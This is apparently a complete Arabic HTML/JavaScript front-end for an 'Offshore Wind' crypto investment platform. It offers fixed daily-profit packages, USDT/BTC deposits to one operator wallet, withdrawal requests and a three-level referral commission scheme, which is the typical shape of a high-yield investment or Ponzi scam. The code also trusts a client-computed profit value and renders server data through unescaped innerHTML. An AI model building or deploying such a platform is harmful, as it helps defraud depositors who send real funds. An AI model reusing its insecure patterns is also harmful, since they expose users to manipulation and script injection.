<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Offshore Wind | منصة استثمار الرياح البحرية</title>
    <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        * { 
            margin: 0; 
            padding: 0; 
            box-sizing: border-box; 
            font-family: 'Tajawal', sans-serif; 
        }
        
        body { 
            background: #f0f4f8; 
            color: #1e2a3a; 
            padding-bottom: 80px; /* مسافة من الأسفل حتى لا تغطي القائمة أزرار الصفحة */
        }
        
        header { 
            background: #0f172a; 
            color: white; 
            padding: 15px 30px; 
            display: flex; 
            justify-content: space-between; 
            align-items: center; 
            flex-wrap: wrap; 
            box-shadow: 0 4px 10px rgba(0,0,0,0.1);
        }
        
        .logo { font-size: 24px; font-weight: bold; }
        .logo span { color: #f59e0b; }
        
        .user-area { display: flex; gap: 15px; align-items: center; }
        
        .btn { 
            padding: 10px 24px; 
            border-radius: 30px; 
            border: none; 
            font-weight: bold; 
            cursor: pointer; 
            transition: 0.3s; 
            font-size: 14px;
        }
        .btn-primary { background: #f59e0b; color: #0f172a; }
        .btn-primary:hover { background: #d97706; }
        .btn-outline { background: transparent; border: 1px solid white; color: white; }
        .btn-outline:hover { background: white; color: #0f172a; }
        .btn-danger { background: #dc2626; color: white; }
        .btn-danger:hover { background: #b91c1c; }
        
        .balance-card { 
            background: linear-gradient(135deg, #1e3c72, #2a5298); 
            padding: 10px 20px; 
            border-radius: 20px; 
            color: white; 
            font-weight: bold; 
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .container { max-width: 1200px; margin: 30px auto; padding: 0 20px; }
        
        .quick-actions { 
            display: flex; 
            gap: 20px; 
            justify-content: center; 
            margin-bottom: 40px; 
            flex-wrap: wrap; 
        }
        
        .section-title { 
            font-size: 24px; 
            margin-bottom: 25px; 
            border-right: 5px solid #f59e0b; 
            padding-right: 15px; 
            color: #0f172a;
        }
        
        /* شبكة عرض الباقات والاستثمارات */
        .packages-grid { 
            display: grid; 
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); 
            gap: 25px; 
        }
        
        .package-card { 
            background: white; 
            border-radius: 20px; 
            padding: 25px; 
            box-shadow: 0 10px 25px rgba(0,0,0,0.05); 
            text-align: center; 
            transition: 0.3s; 
            border: 1px solid #e2e8f0;
        }
        .package-card:hover { transform: translateY(-5px); box-shadow: 0 15px 30px rgba(0,0,0,0.1); }
        .package-card h3 { color: #0f172a; font-size: 18px; margin-bottom: 10px; }
        .package-price { font-size: 32px; font-weight: bold; color: #f59e0b; margin: 15px 0; }
        .daily-profit { font-size: 20px; color: #10b981; font-weight: bold; margin-bottom: 10px; }
        .package-card p { color: #64748b; font-size: 14px; margin-bottom: 15px; }
        .invest-btn { background: #0f172a; color: white; width: 100%; margin-top: 10px; }
        .invest-btn:hover { background: #1e293b; }
        
        /* جداول البيانات */
        .data-table { 
            background: white; 
            border-radius: 20px; 
            padding: 25px; 
            overflow-x: auto; 
            margin-top: 40px; 
            box-shadow: 0 10px 25px rgba(0,0,0,0.05);
        }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { padding: 14px; text-align: center; border-bottom: 1px solid #e2e8f0; }
        th { background: #f1f5f9; color: #475569; font-weight: bold; }
        
        /* النوافذ المنبثقة Modals */
        .modal { 
            display: none; 
            position: fixed; 
            top: 0; left: 0; width: 100%; height: 100%; 
            background: rgba(0,0,0,0.6); 
            justify-content: center; align-items: center; 
            z-index: 1000; 
            backdrop-filter: blur(4px);
        }
        .modal-content { 
            background: white; 
            padding: 30px; 
            border-radius: 20px; 
            width: 90%; 
            max-width: 450px; 
            position: relative; 
            box-shadow: 0 20px 40px rgba(0,0,0,0.2);
        }
        .modal-content h2 { margin-bottom: 20px; color: #0f172a; font-size: 22px; text-align: center; }
        .close { position: absolute; left: 20px; top: 15px; font-size: 28px; cursor: pointer; color: #94a3b8; transition: 0.3s; }
        .close:hover { color: #475569; }
        
        /* النماذج وعناصر الإدخال */
        .form-group { margin-bottom: 20px; }
        .form-group label { display: block; margin-bottom: 8px; font-weight: bold; color: #334155; }
        .form-group input, .form-group select { 
            width: 100%; 
            padding: 12px 15px; 
            border: 1px solid #cbd5e1; 
            border-radius: 12px; 
            font-size: 15px;
            outline: none;
            transition: 0.3s;
        }
        .form-group input:focus, .form-group select:focus { border-color: #f59e0b; box-shadow: 0 0 0 3px rgba(245, 158, 11, 0.1); }
        
        .alert { padding: 12px; border-radius: 10px; margin-top: 15px; display: none; font-weight: bold; text-align: center; }
        .alert-success { background: #dcfce7; color: #15803d; }
        .alert-danger { background: #fee2e2; color: #b91c1c; }
        
        /* شريط التنقل السفلي للهواتف */
        .footer-nav { 
            position: fixed; 
            bottom: 0; left: 0; width: 100%; 
            background: white; 
            display: flex; 
            justify-content: space-around; 
            padding: 15px 10px; 
            box-shadow: 0 -4px 15px rgba(0,0,0,0.08); 
            z-index: 999; 
            border-top: 1px solid #e2e8f0;
        }
        .footer-nav a { 
            text-decoration: none; 
            color: #475569; 
            font-weight: 500; 
            font-size: 15px;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 4px;
            transition: 0.3s;
        }
        .footer-nav a:hover { color: #f59e0b; }
        
        @media (max-width: 700px) { 
            header { flex-direction: column; gap: 12px; text-align: center; } 
            .user-area { width: 100%; justify-content: center; } 
        }
    </style>
</head>
<body>

<header>
    <div class="logo">Offshore <span>Wind</span> 🌬️</div>
    <div class="user-area" id="userWidget">
        <button class="btn btn-outline" onclick="openModal('loginModal')">دخول</button>
        <button class="btn btn-primary" onclick="openModal('registerModal')">حساب جديد</button>
    </div>
</header>

<div class="container">
    <div class="quick-actions" id="actionBtns" style="display: none;">
        <button class="btn btn-primary" onclick="openModal('depositModal')">📥 إيداع أموال</button>
        <button class="btn btn-danger" onclick="openModal('withdrawModal')">📤 سحب الأرباح</button>
    </div>

    <div id="dashboardInfo" style="display: none; background: white; padding: 25px; border-radius: 20px; margin-bottom: 30px; text-align: center; box-shadow: 0 10px 25px rgba(0,0,0,0.05); border: 1px solid #e2e8f0;">
        <h3 style="margin-bottom: 10px; color: #0f172a;">مرحباً بك، <span id="userName" style="color: #f59e0b;"></span> 👋</h3>
        <p style="font-size: 16px; margin-bottom: 15px;">الرصيد الكلي: <strong id="totalBalance" style="color:#1e3c72;">0</strong> USDT | الأرباح المعلقة: <strong id="pendingProfit" style="color:#10b981;">0</strong> USDT</p>
        <p style="font-size: 14px; color: #64748b;">
            رابط الإحالة الخاص بك: 
            <span id="refLink" style="direction: ltr; display: inline-block; background:#f1f5f9; padding:6px 12px; border-radius: 8px; font-weight: bold; color: #334155;"></span> 
            <button onclick="copyRef()" class="btn btn-primary" style="padding: 4px 12px; font-size: 12px; margin-right: 5px; border-radius: 6px;">نسخ الرابط</button>
        </p>
    </div>

    <div class="section-title">📈 خطط استثمار الرياح البحرية المتاحة</div>
    <div class="packages-grid" id="packagesContainer">
        </div>

    <div class="data-table" id="investmentsTable" style="display: none;">
        <div class="section-title">📊 استثماراتي النشطة الحالية</div>
        <table>
            <thead>
                <tr>
                    <th>الخطة الاستثمارية</th>
                    <th>المبلغ المستثمر</th>
                    <th>الربح اليومي الكلي</th>
                    <th>تاريخ البدء</th>
                    <th>تاريخ الانتهاء</th>
                </tr>
            </thead>
            <tbody id="investmentsList">
                </tbody>
        </table>
    </div>
</div>

<div class="footer-nav">
    <a href="#" onclick="scrollToTop()">🏠 بيت</a>
    <a href="#" onclick="location.reload()">🚀 مشروع</a>
    <a href="#" onclick="showReferral()">👥 فريق</a>
    <a href="#" onclick="logout()">👤 أنا</a>
</div>

<div id="loginModal" class="modal">
    <div class="modal-content">
        <span class="close" onclick="closeModal('loginModal')">&times;</span>
        <h2>تسجيل الدخول للمنصة</h2>
        <form id="loginForm">
            <div class="form-group">
                <label>البريد الإلكتروني</label>
                <input type="email" id="loginEmail" required placeholder="اسمك@example.com">
            </div>
            <div class="form-group">
                <label>كلمة المرور</label>
                <input type="password" id="loginPassword" required placeholder="••••••••">
            </div>
            <button type="submit" class="btn btn-primary" style="width:100%">دخول آمن</button>
        </form>
        <div id="loginAlert" class="alert"></div>
    </div>
</div>

<div id="registerModal" class="modal">
    <div class="modal-content">
        <span class="close" onclick="closeModal('registerModal')">&times;</span>
        <h2>إنشاء حساب مستثمر جديد</h2>
        <form id="registerForm">
            <div class="form-group">
                <label>اسم المستخدم (بالإنجليزي)</label>
                <input type="text" id="regUsername" required placeholder="مثال: abdullah12">
            </div>
            <div class="form-group">
                <label>البريد الإلكتروني</label>
                <input type="email" id="regEmail" required placeholder="name@example.com">
            </div>
            <div class="form-group">
                <label>كلمة المرور</label>
                <input type="password" id="regPassword" required placeholder="••••••••">
            </div>
            <button type="submit" class="btn btn-primary" style="width:100%">تأكيد التسجيل والانطلاق</button>
        </form>
        <div id="regAlert" class="alert"></div>
    </div>
</div>

<div id="depositModal" class="modal">
    <div class="modal-content">
        <span class="close" onclick="closeModal('depositModal')">&times;</span>
        <h2>إيداع وإرسال أموال جديدة</h2>
        <form id="depositForm">
            <div class="form-group">
                <label>طريقة الدفع الرقمية</label>
                <select id="depositMethod">
                    <option value="usdt">USDT (TRC20)</option>
                    <option value="btc">Bitcoin (BTC)</option>
                </select>
            </div>
            <div class="form-group">
                <label>عنوان محفظة الاستقبال الخاصة بنا</label>
                <div id="walletAddress" style="background:#f1f5f9; padding:12px; border-radius:8px; font-family:monospace; font-size:13px; text-align:center; border:1px dashed #f59e0b; word-break:break-all;">TYvR7f6asdf9871234KJHKhkhKJH765asdf</div>
            </div>
            <div class="form-group">
                <label>المبلغ المراد شحنه (USDT)</label>
                <input type="number" id="depositAmount" required min="10" placeholder="أدخل القيمة الحقيقية">
            </div>
            <div class="form-group">
                <label>رقم وعنوان الحوالة أو الـ Hash ID (TXID)</label>
                <input type="text" id="depositHash" required placeholder="ضع رمز التأكيد هنا">
            </div>
            <button type="submit" class="btn btn-primary" style="width:100%">إرسال الطلب للمراجعة</button>
        </form>
        <div id="depositAlert" class="alert"></div>
    </div>
</div>

<div id="withdrawModal" class="modal">
    <div class="modal-content">
        <span class="close" onclick="closeModal('withdrawModal')">&times;</span>
        <h2>تقديم طلب سحب الأرباح</h2>
        <form id="withdrawForm">
            <div class="form-group">
                <label>عنوان محفظتك الرقمية لاستلام الرصيد (USDT/BTC)</label>
                <input type="text" id="withdrawWallet" required placeholder="ضع محفظتك هنا بدقة">
            </div>
            <div class="form-group">
                <label>المبلغ المطلوب سحبه ($)</label>
                <input type="number" id="withdrawAmount" required min="10" placeholder="أدخل القيمة">
            </div>
            <button type="submit" class="btn btn-danger" style="width:100%">تقديم معالجة الطلب المالي</button>
        </form>
        <div id="withdrawAlert" class="alert"></div>
    </div>
</div>

<script>
function openModal(id) { document.getElementById(id).style.display = 'flex'; }
function closeModal(id) { 
    document.getElementById(id).style.display = 'none'; 
    const alerts = document.querySelectorAll('.alert');
    alerts.forEach(al => al.style.display = 'none');
}

let currentUser = null;
let packages = [];

// جلب حالة وتحديث بيانات العميل من السيرفر
async function fetchUser() {
    try {
        let res = await fetch('api.php?action=get_user');
        let data = await res.json();
        if(data.success) {
            currentUser = data.user;
            document.getElementById('userWidget').innerHTML = `<div class="balance-card">💰 ${parseFloat(currentUser.balance).toFixed(2)} USDT</div><button class="btn btn-outline" onclick="logout()">خروج</button>`;
            document.getElementById('actionBtns').style.display = 'flex';
            document.getElementById('dashboardInfo').style.display = 'block';
            document.getElementById('userName').innerText = currentUser.username;
            document.getElementById('totalBalance').innerText = (parseFloat(currentUser.balance) + parseFloat(currentUser.pending_profit)).toFixed(2);
            document.getElementById('pendingProfit').innerText = currentUser.pending_profit;
            
            let refLink = `${window.location.origin}${window.location.pathname}?ref=${currentUser.id}`;
            document.getElementById('refLink').innerText = refLink;
            loadInvestments();
        } else {
            resetUserUI();
        }
    } catch (e) {
        resetUserUI();
    }
}

function resetUserUI() {
    document.getElementById('userWidget').innerHTML = `<button class="btn btn-outline" onclick="openModal('loginModal')">دخول</button><button class="btn btn-primary" onclick="openModal('registerModal')">حساب جديد</button>`;
    document.getElementById('actionBtns').style.display = 'none';
    document.getElementById('dashboardInfo').style.display = 'none';
    document.getElementById('investmentsTable').style.display = 'none';
}

// تحميل الباقات الاستثمارية من الـ API وعرضها في الكروت
async function loadPackages() {
    try {
        let res = await fetch('api.php?action=get_packages');
        let data = await res.json();
        if(data.success) {
            packages = data.packages;
            const container = document.getElementById('packagesContainer');
            container.innerHTML = packages.map(pkg => `
                <div class="package-card">
                    <h3>${pkg.name}</h3>
                    <div class="package-price">${pkg.price} USDT</div>
                    <div class="daily-profit">📈 ربح يومي: ${pkg.daily_profit} USDT</div>
                    <p>مدة العقد الكاملة: ${pkg.duration} يوم</p>
                    <button class="btn btn-primary invest-btn" onclick="investPackage('${pkg.name.replace(/'/g, "\\'")}', ${pkg.price}, ${pkg.daily_profit})">استثمر الآن</button>
                </div>
            `).join('');
        }
    } catch(err) {
        console.log("خطأ في جلب الباقات من ملف الـ PHP");
    }
}

// طلب تفعيل خطة استثمارية جديدة
async function investPackage(name, price, dailyProfit) {
    if(!currentUser) { openModal('loginModal'); return; }
    let amount = parseFloat(prompt(`المبلغ المراد استثماره في "${name}" (الحد الأدنى ${price} USDT):`));
    if(amount < price || isNaN(amount)) { alert(`الحد الأدنى للاستثمار في هذه الخطة هو ${price} USDT`); return; }
    
    let res = await fetch('api.php?action=invest', {
        method: 'POST',
        headers: {'Content-Type':'application/json'},
        body: JSON.stringify({ package_name: name, amount: amount, daily_profit: dailyProfit * (amount / price) })
    });
    let data = await res.json();
    if(data.success) { 
        alert('تم تفعيل الاستثمار بنجاح وبدء توليد الأرباح!'); 
        fetchUser(); 
    } else {
        alert(data.message);
    }
}

// جلب وعرض الاستثمارات النشطة الخاصة بالمستخدم داخل الجدول
async function loadInvestments() {
    let res = await fetch('api.php?action=get_investments');
    let data = await res.json();
    if(data.success && data.investments.length > 0) {
        document.getElementById('investmentsTable').style.display = 'block';
        let tbody = document.getElementById('investmentsList');
        tbody.innerHTML = data.investments.map(inv => `
            <tr>
                <td><b>${inv.package_name}</b></td>
                <td>${parseFloat(inv.amount).toFixed(2)} USDT</td>
                <td style="color:#10b981; font-weight:bold;">${parseFloat(inv.daily_profit).toFixed(2)} USDT</td>
                <td>${inv.start_date}</td>
                <td>${inv.end_date}</td>
            </tr>
        `).join('');
    } else {
        document.getElementById('investmentsTable').style.display = 'none';
    }
}

// إرسال نموذج طلب إيداع جديد
document.getElementById('depositForm').addEventListener('submit', async (e) => {
    e.preventDefault();
    let amount = document.getElementById('depositAmount').value;
    let method = document.getElementById('depositMethod').value;
    let hash = document.getElementById('depositHash').value;
    
    let res = await fetch('api.php?action=request_deposit', {
        method:'POST', headers:{'Content-Type':'application/json'},
        body: JSON.stringify({amount, method, hash})
    });
    let data = await res.json();
    let alertDiv = document.getElementById('depositAlert');
    alertDiv.style.display = 'block';
    alertDiv.className = data.success ? 'alert alert-success' : 'alert alert-danger';
    alertDiv.innerText = data.message;
    if(data.success) {
        setTimeout(() => { closeModal('depositModal'); document.getElementById('depositForm').reset(); }, 1500);
    }
});

// إرسال نموذج طلب سحب الأرباح
document.getElementById('withdrawForm').addEventListener('submit', async (e) => {
    e.preventDefault();
    let amount = document.getElementById('withdrawAmount').value;
    let wallet = document.getElementById('withdrawWallet').value;
    
    let res = await fetch('api.php?action=request_withdraw', {
        method:'POST', headers:{'Content-Type':'application/json'},
        body: JSON.stringify({amount, wallet})
    });
    let data = await res.json();
    let alertDiv = document.getElementById('withdrawAlert');
    alertDiv.style.display = 'block';
    alertDiv.className = data.success ? 'alert alert-success' : 'alert alert-danger';
    alertDiv.innerText = data.message;
    if(data.success) { 
        setTimeout(() => { closeModal('withdrawModal'); document.getElementById('withdrawForm').reset(); fetchUser(); }, 1500); 
    }
});

// معالجة نموذج تسجيل الدخول
document.getElementById('loginForm').addEventListener('submit', async(e) => {
    e.preventDefault();
    let email = document.getElementById('loginEmail').value;
    let password = document.getElementById('loginPassword').value;
    
    let res = await fetch('api.php?action=login', { 
        method:'POST', 
        headers:{'Content-Type':'application/json'}, 
        body: JSON.stringify({email, password}) 
    });
    let data = await res.json();
    if(data.success) { 
        closeModal('loginModal'); 
        fetchUser(); 
    } else { 
        let alert = document.getElementById('loginAlert'); 
        alert.style.display='block'; 
        alert.className = 'alert alert-danger';
        alert.innerText=data.message; 
    }
});

// معالجة نموذج إنشاء الحساب الجديد
document.getElementById('registerForm').addEventListener('submit', async(e) => {
    e.preventDefault();
    let username = document.getElementById('regUsername').value;
    let email = document.getElementById('regEmail').value;
    let password = document.getElementById('regPassword').value;
    
    let res = await fetch('api.php?action=register', { 
        method:'POST', 
        headers:{'Content-Type':'application/json'}, 
        body: JSON.stringify({username, email, password}) 
    });
    let data = await res.json();
    if(data.success) { 
        alert('تم إنشاء حسابك بنجاح! يمكنك الآن تسجيل الدخول مباشرة'); 
        closeModal('registerModal'); 
        openModal('loginModal'); 
    } else { 
        let alert = document.getElementById('regAlert');
        alert.innerText=data.message; 
        alert.style.display='block'; 
        alert.className = 'alert alert-danger';
    }
});

function logout() { 
    fetch('logout.php').then(() => { location.reload(); }); 
}

function copyRef() { 
    let refText = document.getElementById('refLink').innerText; 
    navigator.clipboard.writeText(refText); 
    alert('✅ تم نسخ رابط الإحالة الخاص بك بنجاح ونقله للحافظة.'); 
}

function scrollToTop() { 
    window.scrollTo({top:0, behavior:'smooth'}); 
}

function showReferral() { 
    if(currentUser) {
        alert(`👥 فريق الإحالة الخاص بك:\n\nرابط دعوتك: ${document.getElementById('refLink').innerText}\n\nنظام العمولات على الأرباح:\nالمستوى الأول: 20% | المستوى الثاني: 2% | المستوى الثالث: 1%`); 
    } else { 
        openModal('loginModal'); 
    } 
}

// بدء التشغيل التلقائي عند فتح الصفحة
fetchUser();
loadPackages();

// فحص تحديث رصيد الحساب تلقائياً كل 30 ثانية دون الحاجة لتحديث الصفحة
setInterval(() => { if(currentUser) fetchUser(); }, 30000);
</script>
</body>
</html>